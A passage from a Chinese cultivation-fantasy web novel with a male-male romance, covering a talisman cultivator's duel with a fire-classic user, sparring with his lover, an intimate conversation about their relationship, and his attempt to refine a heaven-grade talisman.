火神洪冷哼一声,转头看向祁桓,“至于你,屠夫, 你的本命神通确实非同寻常,我们至今判断不了究竟是什么品阶,但你的神通远不是你最大的威胁,若是我们猜的没错,你身上有一本混沌古经,而且还是最具威胁的一本。” 许清浔挑了挑眉,并不评价。 祁桓面色平静。 他们都清楚,古经都有经灵或经魔,火神洪说的八成是火神经告诉他的。 正巧此时此刻,灭世魔经的经魔也出现了,一副非常鄙夷的样子,骂骂咧咧道:“小小火神经也敢来叫阵,真是被看扁了!” 火神洪不知察觉到了什么,当即勃然大怒,“哼,你们两人我们观察许久了,弱点一清二楚,今日,我便要将你们双双击败,让你们退出大世之争!” 话音未落,率先出手竟是一道耀眼的金光。 祁桓刚抽出刀,瞬间被金光淹没,移动了几十里。 许清浔侧目而视,当即喊出其名,“金神贵。” 火神洪一脸诧异,浑身火光滔天,“你怎么这都知道。” 许清浔转头一笑,从容不迫道:“我有万能的卜算之术,世间之事无不可知。” “吹牛!”火神洪皱了皱眉,忽然又说:“若是真的,那我不得留你一条命了。” 许清浔眨了眨眼,“这话该我说吧。” 火神洪大怒,一身神通外显,身后缓缓升起巨大的朱雀虚影,周围的空气被疯狂燃烧,连同空间都扭曲了。火神经极速运转,令他的脖颈、手臂,还有脸上都出现了至为玄妙的火属符纹,符纹的中心腾腾地冒出三味真火,危险无比。 金丹的境界释放出了堪比元婴的威能,寻常人面对这般架势,恐怕早就逃跑了。 许清浔身前的法符一道道地被燃烧,好像完全抵挡不住火神洪的神通之力。 符,炼制得再强,本质也是木属之物,最惧火。因此,某种意义上说,火神洪的神通最克制许清浔。 不过,许清浔好像一点都不担心。 火神洪怒了,“你手中无法,也敢小看我?” 他身后的朱雀发出震天动地的尖锐叫鸣,下一瞬如若洪水般涌向许清浔,恐怖的火神通之力烧灼了整片天空,举头望去,只见一片沸腾的火海。 这份攻势,足以活活烧死元婴修士的肉身! 远方,金神贵正在与祁桓激烈交战,手中的金色长剑翻飞如舞,每一击都有万钧之力,一剑下去,通常能将对手砍得血肉横飞。 然而,他现在的对手是祁桓。祁桓精准接下每一击,而且稳若泰山,游刃有余。 金神贵逐渐额冒冷汗。这是第一次,他在同龄修士手下感到了吃力。对手还没用神通,仅仅凭借蛮力,就打过了使用神通的他。 什么怪力修士! 与此同时,火海汹涌,突有一道白光闪烁而过,径直劈开了一条冰雪的大道,直通火神洪身前。 火神洪一顿,竟隔着三味真火,感觉到了一股彻骨的寒气。 这不对,许清浔虽然神通不明,但绝对没有水属神通。 莫非,只用了法符之力? 火神洪定睛一看,当即愣住了。 只见,青衣修士周身环绕着几道散发着寒气的法符,它们布置成阵,灵力相通,不断吸收着天地灵力以强化阵法。 这不可能,仅是几道地阶法符,就化解了他的最强攻击之一? 火神洪难以置信。 法符乃媒介,符修的诞生,源于一部分修士无法使用其他神通之力,只好摹写他人的神通符文,这样虽然能够模拟他人的神通,但威力终究比不过原主,最多只能发挥出八.九成威力。 可是为何,神通符文在这个人手中,竟好像发挥出了超越十成的威力! 这不对!火神洪怒了,绝不信邪,身后立即映照出三个巨大的朱雀虚影,每一个都强于刚刚那个。 “去死吧!” 火海再次蔓延于整片天空,神通的残波烧毁了大地,生生提高了方圆一百里的气温。 好几个古经修炼者在暗中观察这场对决。 万法被誉为这一代的最强者,可是他无法,一个无法的人,怎么可能走到最后,与他们争锋? 古之经书挖尽世之真理后,后世的竞争俨然变成了古经之争,他们不过是古经的代理人而已。 此事为古密,鲜少为人所知,只有他们这些古经修炼者才知道。 地法财侣,最重要的是“法”! “他虽被誉为万法,但终究是一个符修,符乃借法,立足于借法的修士,绝对走不远。” 有人低声自语,仿佛看穿了许清浔。 另一人道:“但他至今未暴露神通,或许……藏着什么大秘密。” “能是什么大秘密,以他的性情,若是强大的神通,估计早就暴露了,何苦与那火神洪缠斗?”有人嗤笑。 “等等,你们看!”突然有人惊呼。 只见,火海被瞬间冻结,冰海蔓延了整片天空,巨大的冰山承受不住重力,片片砸落,刺入大地,像下着一场暴冰雨,寒气席卷而来,滚滚如洪,画面仿佛末日一般。 火神洪的三味真火都被冻结了! 放眼望去,法符漫天,裹挟着至寒至冷的冰属灵气。 青衣修士仿佛只是虚空一指,便化解了火神洪的最强攻击,甚至还有余力发动攻击,法符化漫天飞箭,击穿了火神洪的防御,破了其道体,正中其胸口,穿透而出,箭头散发着寒冰神通,冒出滚滚白气,接着冻结了火神洪胸口处的体肤。 火神洪瞪大了眼睛,眼球血丝密布,紧接着吐出一口血,浑身颤抖,难以置信。 “这不可能……你非古经修炼者,用的还是法符,怎么可能使出如此精纯的神通灵力!” 这是所有人都想知道的问题,作为符修来说,许清浔实在过于强大了,他根本就不像符修,倒像是拥有着多个神通的大法修! “不,就算他真是法修,也没道理随随便便碾压了同是法修的火神洪。” “这到底怎么回事?” 一瞬间而已,众多观战者的心思都乱了。 火神洪不甘落败,突然吞下几颗紫色的丹药,燃烧本命真血,强行透支天赋,预取了元婴级别的神通威能。 轰!他若红日升空,烧灼一切,汹涌的神通灵力将周身化作一片火海,正死死地盯着远方的青衣修士。 “今日,我就要你死!” 他怒吼出声,舍命发动了有生以来最强的攻击。 与此同时,金神贵笑了,对着祁桓调侃道:“万法就要死了,你不着急吗。” 祁桓一刀横劈,斩断了金神贵引以为豪的灵剑,随后站定,往青衣修士看了一眼,唇线上扬,声音轻而自豪地说:“虚假的红日,绝不可能与真正的烈阳争辉。” “什么?”金神贵愣了神,立刻转头一看。 只见,青衣修士只是抬起一根手指而已,无数的法符极速周转,化作炽烈的白光,于身前形成了一面巨大的水镜。 火海如兽潮般冲涌而来,势不可挡,却在水镜前被轻而易举地化解。 不,是吞没! 是无数的法符正在吞没火神洪的神通之力! 众人瞪大了眼睛。 他们竟看见,水镜之后一张一张火符炼制而成,火神洪的神通灵力有多强大,炼制的法符就有多强大。 “这是活活给人送符啊!”有人惊叫。 这种打法实在太令人绝望了! “那到底是什么法?” 火神洪绝望了,眼看着自己的道体渐渐枯萎,而与此同时,对面的法符不断增多,偏偏他如今已经停不下攻击了,不燃到最后一刻,自己也无法停止。 “这是什么法?” 青衣修士似乎听到了谁的提问,轻声地念了念,随后张扬大笑,说出了令所有人,包括在场古经都不由惊诧的一句话。 “当然是我的自创法啊。” 什、什么?! 火神洪的大脑仿佛轰了一声,突然间失去了燃烧的动力,三味真火灭了,人仿佛油尽灯枯,从风华正茂的青年变成了垂垂老矣的老人。 “自创法……这怎么可能。”他垂头低语,身体轻轻摇晃。 被火神经选中,是他一生最为自豪的事情,而如今,眼前的人却告诉他,被火神经选中又如何,你引以为傲的“火”,对比这个人的天赋来说,不过是抬指可灭的俗物罢了。 火神经……也打不过吗。 “没有什么不可能。”许清浔笑了笑,“而且,输给我的不是火神经,是你。” 火神洪愣住了,抬头问:“我?” 许清浔点头,“许多人以为火法是霸道,是外放,是暴烈地燃尽一切,但其实不然,火法也可以很细腻,如水般细腻。” 此言一出,不止火神洪,地面的几个人也愣住了。 明明说的是火法,为何他说成了水法? 对此,火神经的经灵露出诧异之色,喃喃道:“他居然懂我的火法。” “五行相通……”突然有人喊了一声。 火神洪恍然大悟,刚才熄灭的眸光仿佛又回来了,接着身姿一凛,对许清浔抱拳,“多谢指教。” 许清浔摆了摆手,目光扫过一眼翻飞的火符,“从你身上借了一些法符,不要紧吧。” 火神洪一愣,苦笑地摇头道:“阁下不杀我,已经足够宽容。” 许清浔唇线微扬,挥手间收完了所有火符。 “只是我不明白,我如此挑衅你,你为何不杀我?”临走前,火神洪十分不可思议地问道。 “你还有用。”许清浔淡淡回答。 火神洪呆住。 “其次,你的破绽太多了,多到我不知怎样打败你才好,再者,就算放过你,你也追不上我。日后若再来事,灭杀了便是。” 许清浔笑着说出了令所有人都毛骨悚然的话。 万、万法简直太自信了! 火神洪头皮发麻,不由道:“阁下不愧有着万法之名,可否请教一件事?” 许清浔似乎有些不耐烦了,随口道:“说便是。” “阁下方才动用了神通吗。” 火神洪问出了几乎所有人都想知道的问题。 唯有祁桓表情淡淡,仿佛早已经知道了什么。 许清浔微微挑眉,反问道:“你说呢?我便是无法,也能将你们一个个灭杀。” 不答,但似乎远胜于回答。 众人凛然,随后相续退走,再不敢轻易挑战。 与此同时,金神贵被祁桓斩退,身受重伤,只好仓皇逃跑。 祁桓缓缓收刀,目光始终看着那道青色的身影。 对方的目光仿佛总是放在更遥远的未来,不知想着什么。 究竟何时,恋人才会坦白。 “……” “师弟想什么呢?” 突然一道声音自身后响起,伴随而来的是一股兰香。 祁桓浑身一凛,抬起头,只见青衣修士好奇地望着自己,浅色的双眸照进了炽然的日光,格外有神采。 “在想……师兄瞒着我的事。” 许清浔一愣,随后笑了笑,“放心,日后会知道的。” “要多久。” “等你证道吧?” “……那太久了。” “哈哈,不会的,对修士来说,百年千年,都不过是眨眼间嘛。” 许清浔信誓旦旦地说。 此话刚落,转眼又是三年。 “莲叶”相续剥落,前所未见的隐秘显露,更有自称“古之修炼者”的强大存在出现,三天之内屠杀了九成修士,剩下的不是实力强大者,就是运气强大者。 “快了,很快……我们就可以夺莲心了。” “为什么此次大炼如此凶险?来之前没人告诉我啊。” 莲花大洞天,各地修士各有想法,唯一的共识是——无论如何,只要夺取莲心,一切就能结束,而自己,也将成为这一世最强大的存在,超越屠夫,超越万法。 几乎同时,某片“莲叶”发生了一起大斗法,空间都几乎被粉碎了,无人知晓究竟发生了什么,不过有人似乎隐约看到了屠夫和万法的身影。 “不会是他们打起来了吧。” “不可能。” “我也觉得。” 莲域之外,一些人试图观望,却烧坏了眼睛。 “是万法的火符!外面全是他的法符!” 与此同时,无数的法符之海中,青衣修士踏在虚空,如若烈日。 他笑了笑,垂眸看着下方狼狈伏地的黑衣修士。 “还要再打吗。” 闻言,黑衣修士抬起头,眼神里满是不屈。 “你斗志昂扬是一件好事,但暂时打不过师兄也是不折不扣的事实,今日就此住手吧,外面有人来了。” 许清浔往外边看了一眼,背手而立,气度从容。 打了三十场,没有一场赢,绕是祁桓脾气再好,都不禁有些暴躁了。 “不,我要继续打!”他将刀插在莲台之上,撑着起身。 “难得看到你如此坚持。”许清浔颇为意外,突然心血来潮,转瞬落地,一边手搭在对方肩上,俯身在耳边低语,“好呀,你干倒师兄,师兄就给你干。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第六十一章 没力气了吗? 刀光翻飞如浪, 瞬间斩开了外围的法符。 青衣修士消去身形,转瞬出现在一里之外,道袍随风飘舞,芝兰玉树般停落虚空。 只见, 黑衣修士的周围突然绽放出血色的领域, 那是杀戮神通的外显化, 任何人只要在他的攻击范围内,生死都将由他主宰。 神通灵力有多种显化形式,对于自家师弟来说,那便是“生死线”。 许清浔垂眸, 看着黑衣修士脚下升起的无数生死线, 它们仿佛有着生命, 如芦苇般诡异地摆动, 散发着一股令人不寒而栗的恐怖气息。 不过,他仍旧一脸从容,甚至还点评道:“师弟啊,知道你为何依旧赢不了我吗?其中一个原因, 是你还无法自如地控制你自己的神通。” 黑衣修士闻言,生死丝自掌心涌出,包裹、染红了手中的长刀,显然是将神通灵力赋予了武器。 “再试试呢。”他眸绽红光,瞬间消去身形,再出现时, 刀锋已经击中了许清浔的防御法符。 两股极其强大的灵力激烈碰撞,爆发出了耀眼的血光,整片天空仿佛浸入了血海。 极尽神通灵力的一刀未能成功,但黑衣修士并未放弃, 当即从身后的剑匣中拔出另一柄刀,双刀极速快斩,攻势愈发强大,看似狂暴,但灵力的使用手法明显超越了刚才,更加细致、更加精准。 许清浔眨了眨眼,难得显露出一分凝重之色,而此时他的法符防御已经崩溃,身前的阵法也已经崩裂,紧接着眼前凭空出现了无数散发着恐怖刀意的刀痕。 杀戮神通的要旨,在于凝练出遇神杀神、遇佛杀佛的滔天杀气。 任何本命神通,都与本人性情有着极大关系,要最大限度地发挥本命神通,当内求诸己,外放诸神。 许清浔一笑,在刀光杀来前随手一挥,无数法符拦住前路,化作极寒的神通灵力,冻结、延缓了黑衣修士的行动。 但又只是一瞬而已,生死线轰然爆发,吞没了法符,当场将其粉碎,化作漫天的烟雾。 一转眼,烟雾中杀出了一道黑色的身影。 许清浔未动作,生生挨了一刀横斩,好似已经无计可施,却在下一瞬揭露,那不是他的真身,只是一道幻符而已。 刀光斩断了符文,与此同时,后方显现出一道青衣的身影。 也是同时,一刀未得手的黑衣修士周围出现了无数朵青色的莲花,莲心燃着青色的火焰,看似温和,但在下一瞬,它们顿时爆炸开来,青色的火海淹没了整片天空。 许清浔静静看着,又见血色的刀光切割了火海,斩尽了神通幻化而成的青莲。 无不可斩,无不可杀,无论是人,还是神通法符! 好家伙,精髓体现得淋漓尽致啊。 然而,这一走神的功夫,对方便杀到了面前。 一刀斩下,天雷符当即爆发出剧烈的轰鸣,一百多张地品天雷符组成的阵法,按理说威能已经相当于渡劫时的天雷,却没能拦住那个如猛兽般的男人。 他的冲动中带着极致的冷静,每一招每一式都十分完美,甚至境界好像生生提高了一些,体内金丹疯狂运转,源源不断地榨取出灵力。 许清浔闪身后退,挥手推动剑王符,飞符化剑,瞬间幻化成了一柄巨剑。 男人杀来时,巨剑爆发出一股惊天的剑意,不仅是这片莲域,就连外面的莲域也深受影响,无数人察觉到了这股动静,距离最近的几人无不震撼,猜想里面究竟发生了什么事,万法和屠夫在里面做了什么? 有人惊叹:“这股剑意,居然完全不虚侠剑!” 另外一人道:“不,隐隐有超越之姿啊!” 这话属实夸张了,侠剑是谁?那可是被誉为这一代剑修顶点的人物,她的剑意便是古之前辈残魂目睹,都会不禁感慨不如。 已知侠剑不在其中,那究竟是谁的剑意? 他们心思电转,好似想到了一件极恐怖之事,顿时面色苍白,浑身颤抖。 “不、不会是万法的剑意吧!” “虽然难以置信,但确实像他的性情,张扬绚烂,如若烈日!” 此时,剑光炽烈如日,摧枯拉朽般横扫四面八方,黑衣修士被一剑直击,疯狂后退,虽然努力阻挡,但身上还是挂了十几道伤,脸、脖颈、手臂等地方接二连三地出现了血痕,道袍亦是狼狈不堪,裸露出了精悍的上身。 剑光甚至还在加强,明明离开了主人十多里,却愈发强大,愈发所向披靡。 他当然清楚,这是对方的惯用手段,以生生不息的木属法符为基底,加以各种不同组合的法符,既能加强法符的威能,还能加强威能的持久性。 当然,并非所有人都能任意组成法符,师兄之所以能够做到,还要依赖于其超凡的阵法造诣。 他的师兄,手握成千上万种法符,各种手段层出不穷,令人应接不暇,无愧“万法”之名。 而他唯一能够战胜师兄的方法就是——“一力破万法”。 偏偏,此时的“力”,仍远远不够。 剑光闪烁之中,祁桓咬牙切齿,死死地盯着那道青色的身影。 对方似乎察觉到了他的眼神,居然还笑了,张阖的唇瓣仿佛在说,“没力气了吗?这就不行了吗。” 没有男人经得起如此挑衅,祁桓勃然大怒,双眸彻底变成了血色,神通灵力尽数灌注于手中的双刀,刀身接着显现出了一道道狰狞可怖的魔纹。 轰!天空半红,血色的刀光斩断了长剑,粉碎了其中的法符。 再接着,一道黑光如惊雷般闪过,许清浔抬眸,便见男人浴血杀来,眸里尽是凶煞的血光。 怪吓人的。他又笑了,袖口再次涌现出无数法符。 轰——!! 一道巨响震天动地,整片莲域都在晃动。外面聚集的人越来越多,都显得十分震惊。 “他们是要毁了那片莲域吗?” “可怕,才金丹期战力就如此夸张,一旦渡劫晋升元婴成功,必会是一方巨擎!” “等等,你们不在意他们为什么打起来吗?” 此时,热闹的人群里面,也有姬舞明的身影。 姬舞明睁大了眼睛,既感慨,又疑惑,转头问李梦好,“话说李兄,你们知道怎么回事吗。” “比试而已。”李梦好随口回答,双臂环抱,微抬下巴。 姬舞明一愣,“你怎么仿佛什么都知道?” 李梦好看了他一眼,“他们如此明显的关系,你确定一点都没看出来?” 姬舞明傻眼,“万法和屠夫,不是师兄弟吗?” 李梦好突然大笑,“世上哪有师兄弟像他们一样啊。” 姬舞明仿佛想到了什么,更加难以置信,激动道:“你不要污人清白!” 李梦好笑而不语,又不知想到什么,面色顿时一沉,喃喃道:“屠夫的心意再明显不过了,可是万法……” “万法怎么了?”姬舞明不禁问。 “有些捉摸不透。” 李梦好摸了摸下巴,试图分析,却陷入了困惑,喃喃自语道:“到底会如何呢……未来,还不太好说。” 不久,那片莲域真如预想的一样,被战斗余波摧毁殆尽。 众人看到里面的情况时,里面的人已经消失不见,不知谁输谁赢。 不少古经修炼者到了现场,都想提前了解对手。然而,仔细探查一番之后,他们的脸色都不太好看,更有甚者,感到了绝望。 他们觉得,无论是屠夫还是万法,两人的强大明显已经超越了这个时代,是两座难以逾越的高峰。 “屠夫有神通,有魔经,他强大我能理解,但万法究竟凭什么?” “非要凭什么吗?”另外有人反问,似乎是万法的崇拜者。 “这……总要有一个解释吧。”那人发怵,但仍小声提问。 “天赋,以及努力。” 不知谁说了这么一句话- 几乎与此同时,法府幽静,唯有流水声。 “师弟,你没事吧?怎么闭着眼睛不说话,不就是倾尽全力但还是输了吗?胜败乃兵家常事,要不,师兄下次放些水?” 话音未落,男人好似怒了,突然睁开双眸,凶狠地盯着面前的人,好像在说,那是对他的污辱。 许清浔转而微微一笑,“师兄说笑而已,对手是你,我怎敢放水。” 男人皱眉,不知喜怒,唇线抿得笔直,眼神中渐渐显露出几分幽怨,抑或是不满。 他正躺着,上身赤.裸,露出了精悍的腹肌,而对方盘腿坐在他身边,双袖拂落,宽大的袖口里隐隐可见白玉般的手腕。 三十一场比试,没有一场赢,全输也就罢了,似乎至今为止,还没有一次伤到这个人。 这次都杀到面前了,却还是被对方轻松化解。 这个人到底有多少护身法符! 绕是他心性再稳、脾气再好,这样打完,都不禁有些…… “师弟你咋又闷着不说话了,打之前不是说好,无论结果如何都不会闹脾气的吗。” 许清浔歪了歪头,一副哄孩子的语气。 祁桓眼神更暗了,然后又闭眸不语。 许清浔心中寻思,师弟到底是因为输了才如此,还是因为……没能实现那件事呢。 思及此,他面色顿红,当时他是随口说的,心里想都没想,一旦上头自己都控制不住,现在回想起来,才觉得……好家伙,多少有些浪了。 仔细一想,交往三年来,他们虽常常亲近,但最多也是接吻什么的,更后面的事情是一个都没做。为何?答案很简单——他的直男心作祟啊! 纵然同意了恋人的身份,但、但是! 许清浔眉头微皱,感到了些许惭愧,心中碎碎念道,退一万步说,真要那什么,他也得是上吧!可是师弟会乖乖做下吗? 再怎么说,自家师弟可是这个时代的主角啊。 等等,但我更强,如今的时代主角不应该是我吗?许清浔突然福至心灵,眼睛都亮了起来,再低头一看,只觉得自家男人的身材真棒!就是可惜脱的好像不够多…… 正在他胡思乱想的时候,祁桓突然睁开双眸,认真道:“师兄,我究竟要怎样才能打败你?” 许清浔一呆,“你……确定要问我本人如何打败我吗?” 祁桓面不改色,神色肃然。 许清浔心念一动,寻思怪可爱的,于是想了想,道:“你好像觉得没有伤到我就算大败,但实话说我们之间的实力差距不大,你只要努力一些,未必不能赢我。” 祁桓皱眉,“师兄是在安慰我吗,只需努力一些?” 许清浔笑了笑,“理论上是,但你努力的时候,我也会努力。” “那不永远无法赢下师兄。”祁桓幽幽地说。 许清浔呆住,心头忽地涌出一股莫名的感觉,好奇地低下头,视线相对,问:“为何是赢下师兄?” 祁桓盯着他好一会,才道:“不这么做,似乎我一辈子只能是你的师弟。” 许清浔睁大眼睛,迟疑了一会,道:“我们……已经是恋人了啊。” “真的吗。”祁桓眼神更深。 许清浔顿时有些不知所措,想回答是真的,但又不禁自问,你确定吗?你虽喜欢自家师弟,但你的喜欢,真的到了可以无视性别、与对方结为伴侣的程度吗?对方可是货真价实的带把男人。 一开始的时候,他是想试试,可是这都三年过去了,哪有试这么久的?是否,他该考虑到下一个阶段了? 想着,他目光下移,只觉脸皮仿佛贴了火符。 祁桓好似看出了对方的心思,低声道:“师兄若是没有那个心,请不要屡次三番挑衅我,纵使是我……忍耐也是有极限的。” 没有一个血气方刚的男人能受得了恋人长达三年的恶劣引诱,这简直比之前暗恋的日子还要难熬。 说着,他便撑起上身,像要起身离开。 许清浔顿时一惊,连忙道:“站住!” 祁桓起身的动作一滞,右手被对方抓住了,只好转过身。 只见,青衣修士低着头,好似深吸了一口气,薄唇紧抿,最终开口,“我……虽然还不能做到最后,但可以试着……给你口。” 祁桓当即愣住。 “啊,我是说,那不是礼尚往来吗?你之前……师兄岂会白白占师弟的便宜?” 许清浔慌忙补充了一句。 祁桓一阵沉默,忽然坐了下来,罕见地主动吻了许清浔的双唇,半晌才停下,缓缓拉开距离,看着对方本应雪白的脸覆满红霞,不自觉地喘着气。 “你、你……”许清浔目瞪口呆,像是没想到会被偷袭。 祁桓抬起手,异常温柔地抚拭对方略显湿润的下唇,视线仿佛在估量口腔里面的深度,目光暧昧且仿佛带有按捺不住的深沉情.欲,令后者不由紧张地提起精神,却极其克制地说道:“不用了,让你做那种事,我舍不得。” 许清浔脑子好似轰的一声,顿时心乱如麻。比男人的强硬还要可怕的是男人的温柔! 第62章 第六十二章 我所爱的你 其实刚刚的话, 是他脑一抽,脱口而出的,刚说出口便后悔了,但幸好对方拒绝了。 许清浔稍稍松了一口气, 故作镇定道:“嗯, 那你专心修养, 大战很快就要来了,师兄需要你的助阵!” 祁桓称是,没有多言- 走出法府后,许清浔停下脚步, 抬头仰望明月, 良久才开口, “谈恋爱……到底是怎样的一件事。” 有时甜蜜, 有时酸涩,有时内心悸动,不知所措,而现在呢, 有些甜蜜,有些迷茫。 第一次谈恋爱,迷茫也算常理?他琢磨着自己的内心。 “就是意想不到啊,若是六年前,有人告诉我,我未来会跟师弟在一起, 我是绝对不会信的。” 不仅如此,恐怕还会大笑。 想着,许清浔微微一笑,忽然仿佛想到什么, 面色变得凝重,显然想到了一些麻烦的事情。 跟原著对比,师弟此时的实力更强一些,说明苦难不是成长的必须,原著的成长路线完全没有参考的必要。只是……这些年里,或多或少发生了一些超乎意料的事情,而且出现了一些不稳定因素,尤其是人。 “都在隐藏着,等待最后的大战才出现吗。”一个个都蛰伏起来,对比原著,显然多了什么东西。 “是情报?” 许清浔一顿,“他们不会也知道将来会发生什么事吧。” 这是一个可怕的猜测,天道找了他救世,但天道没有说只找了他,万一还有其他人呢? “虽然我觉得不太可能,如果还有其他读者,没道理一直藏着,不跟我接触了解。” 许清浔寻思,自己在众人眼里应该不算什么危险分子吧? 他恩怨分明,鲜少杀戮,能语言化解的矛盾,极少动手,当然,那也要看对方如何反应,若是穷凶极恶之徒,不待他出手,祁桓便已经解决了。 历代《灭世魔经》的修炼者,都有一双能够分辨恶意的眼睛。 “所以,应该没有那种人。那这些违和感又该怎么说?” 世界与原著并无不同,违和在于个别人的行动,不仅是九界大炼蛰伏的家伙,往外的说,还有他的父母,还有王守渊,甚至还有他的便宜师父。 他们是不是知道了什么? 许清浔纳闷,忽然灵光一闪,从袖口里取出一枚玉简,大大方方地问道:“原始古经老前辈,您是不是知道些什么?” 玉简没有回复,好像睡着了,事实上也是睡着了。 许清浔歪了歪头,心想至今为止,这个传说中最强的混沌古经,除了曾经在他脑子里留下几道符文之后,就没有派上过什么用场了,完全没有祁桓那边的好用,据师弟所说,灭世魔经动不动就跳出来说垃圾话,虽然师弟从来不理会它。 等了片刻,依然没有回应。 “罢了。”许清浔收回玉简,谁让他是一个尊老爱幼的五好青年呢?他转头看了一眼法府,自家师弟在里面疗伤,外头一堆法符法阵防御,自己不在,也不会有什么大碍。 “出去看看情况吧,兴许能抓到一个呢。” 说完,他消去身影。 不久之后,他又回来了,低头自语道:“奇也怪也,都当缩头乌龟了?也不对,他们应该是抱团了,到时候怕不是要联手对付我们。” 他这边也有人,但人数不会很多,若是加上那些欠他人情的……勉强算是九界大炼里面最大的一个势力了。但是,众所周知,胜负不一定取决于个人实力,那些家伙手握古经,手段非同寻常。 “而且,古经也算是最强梯队的法宝了吧。” 既是法,也是宝。可惜自己手握最强法,法却睡死了一样,完全没有用。 许清浔小纳闷,但更多的是庆幸,因为它在他手上,不在敌人手上,否则不知道能惹出多大的麻烦。 “这次出门,虽然没有如愿找到人,但好歹找到了一些资源,比如金银树,可以炼化了,用作符纸。” 许清浔笑着走回法符,忽而停下脚步,目光呆呆地望着前方。 自家男朋友显然已经伤愈了,正在缓缓穿衣,黑发并未束起,自然地披散着,发尾刚好及腰,随着动作微微摇曳。 安静时,简直跟一幅画似的。 有时候,他不得不承认,自己之所以答应了对方,其实跟对方的脸有很大关系,其次是身材,实在是赏心悦目,百看不厌。但他不好坦白,因为似乎太肤浅了,说出来怕被年下的弟弟鄙夷。 许清浔小咳一声,佯作无事发生般,笑着走前几步,背手道:“我的好师弟,你已经没事了吗。” 对方不可能不知道他已经回来了,但表面功夫还是要做一下的。 “嗯。”黑衣修士淡淡地应了一声,转头看向了他。 这座法府并非全然封闭,正中央处凿空了,抬头可见明月,低头可见浅潭,浅潭周围长着几朵莲花,是罕见的蓝宝石色。 今夜月光甚美,落在潭水上,仿佛铺上了一层羊脂白玉。 半晌之后,浅潭边,两人相对而坐,一方滔滔不绝地讲着,一方则静静地听着,偶尔才回应几句。 “总之,你知道外面的情况了吧?” “知道了,要旨是把他们都杀了,是吗。” “哈哈,是这么说没错。” 祁桓的脸色忽显凝重,抬头问:“但我始终不解,师兄为何一定要赢?” 他指的并非赢下当世天才,而是赢下九界大炼的核心之物——九界莲心。 许清浔虽然常寻宝,但对宝本身从未显现过执着心,因此,他此时表现出的执着并不正常。 许清浔呆了呆,低眸道:“若是我说,只是为了更好突破元婴境,你相信吗。” 祁桓不答,表情已是回答。 以许清浔的天赋和实力,突破元婴只是时间的问题,九界莲心可要可不要,再者,对他们来说,没必要假借外物突破。 “……”许清浔有些发愁,仰头望着明月,许久不语,缓缓回眸,“其实,我也不知道,我接下来要做的事是否一定正确。” “什么事。”祁桓直问。 “……师弟啊,你一定要刨根问底吗。”许清浔低头,语气好似有些埋冤。 “恋人不该知道吗。”祁桓皱了皱眉,语气有些闷。 许清浔一顿,仿佛被按住了七寸的蛇,面色显出几分为难,但又考虑到他漏的底已经简直不要太多了,坦白这件事又何妨。 再说了,这个男人之前跟踪过他那么久,早就知道他的想法了。 “事情其实就是……” 他将这一代九界大炼的幕后机制缓缓道来,并未透露他如何知道,说到后面,他的神色十分严肃,“所以,最后的大战,我非赢不可。” 祁桓沉默许久,眼神幽暗如深潭,抬头问:“背负那么多,值得吗。” “值得啊。”许清浔下意识回答,“你就当……是为了我的自我满足吧,但我最怕的是世事不如人意,而我的选择……更不一定正确。” “袖手旁观,才是明智的做法。”祁桓认真道。 “嗯,我明白。” 许清浔点了点头,“傻子才主动踏入那么深的浑水,掺进那么大的因果,稍有不慎,道心不稳都是其次了,但没办法啊师弟。” 他抬起眸,注视着对方,“谁让我已经知道这件事了呢?既然知道了,我就必须做些什么。” 祁桓皱眉不语,似乎在内心抉择着什么。 “或许,我能成功呢?”许清浔轻声问。 “这不是成功与否的问题。”祁桓紧盯着许清浔,“无论输赢,你都负担不起。” 许清浔一怔,仿佛想到什么,眼神略显黯然。 “你这么觉得吗……”他似乎后悔告诉祁桓了,唇线渐渐抿紧。 法府内的气氛几乎凝固,两人僵持不下,不再说话。 片刻后,祁桓先开口打破了沉默,“师兄,听我说。” 许清浔呆住,下意识地抬起头。 今夜的月光实在太亮了,否则,对方的双眸怎会如此明亮,亮到几乎晃到了他的心里。 这家伙真是……越长大,越有气魄了。 到底为何自己之前觉得这家伙不龙傲天?明明傲天得很啊。 “好,你要说什么?” 许清浔好奇地问,几乎所有的心神都投注在了对方身上。 只见,对方径直看了过来,语气平静而严肃地说:“按你想的做吧,无论结果如何,我都会陪你走到底,再大的因果,有我陪你一起背负。” 许清浔睁大了眼睛,许久反应过来,脑子近乎呆滞。 “你……不反对了吗。” 祁桓笑了笑,“倒是想反对,但师兄若不做下去,那还是师兄吗?我所爱的你,当是那样炽烈而温柔的存在。” 许清浔一怔,面色忽地涨红,思想卡顿了好几次。 说、说什么炽烈、温柔啊,你小子居然这么会告白的吗?可恶! 又……有些可爱。 “师兄,听到我说什么了吗。”祁桓似乎以为他没听见,凑上前去。 许清浔当即一惊,“听到了!” 他似乎有些恼羞成怒,突然狠狠抱住身前的男人,紧埋在对方的颈窝,放肆地感受着对方身上那股独有的淡香。 而对方没有抗拒,反而还靠近过来,为了让他抱得更舒服一些。 半晌过后,青衣修士才低声开口,“忘记说了,即使没有你的话,我也早就决定了,要一条路走到黑。” “嗯。” 很轻的一句回答。 许清浔心头一抖,寻思自己之前确实误会他了,人家只要不黑化,就是个妥妥的大暖男啊。 不过,比起这个,他似乎明白了……什么是爱。 无关身份,无关性别,纯粹觉得这个人值得信赖,值得依靠,值得相伴一生。 第63章 第六十三章 “只是舔一下,可以吗?”…… 三日后, 修炼室内,突然一阵巨响传出,地动山摇,潭水飞溅。 “差一点就成功了, 为何会卡在这里?” 许清浔呆坐着, 身上跟炸了一样, 大片道袍化作黑炭,发丝也染上了黑尘,整个人恹恹的,眉头轻皱, 托腮久不语。 他面前, 一张黑炭般的符纸正在飘零, 在成为黑炭之前, 它曾是许清浔有生以来最自信的作品,可惜一招不慎,不仅毁了,还险些把他炸飞了。 还好, 自家师弟前脚刚出门历练,否则此时已经跑来探班了。 “炼个天品符文,怎么这么难啊。” 许清浔一阵抱怨,他的身后黑炭堆积成山,全是失败品。众所周知,炼制天品法符的最大难点在于符文造诣, 但最大的门槛在于境界。 天品法符,是元婴巨擎们的领域,他如今才金丹期,怎么可能成功?历史上都未曾有过。 但他就是莫名自信, 多次构思阵法,令自己暂时提高到元婴的“数值”,只要数值到了,凭借他的符文造诣,炼制天品法符,理应不在话下了,难道不是吗? “到底是差了什么?” 他从左边的袖口掏出一张拍卖来的天品法符,仔细观察,又从右边的袖口掏出一张打劫来的天品法符,仔细琢磨。 眉头紧皱了一会,他好似想到了什么,刚要抓住灵光,转头又消失了。 他袖口的古经没忍住开口,“差了神念!” 许清浔顿时一惊,“前辈,您醒了啊。” 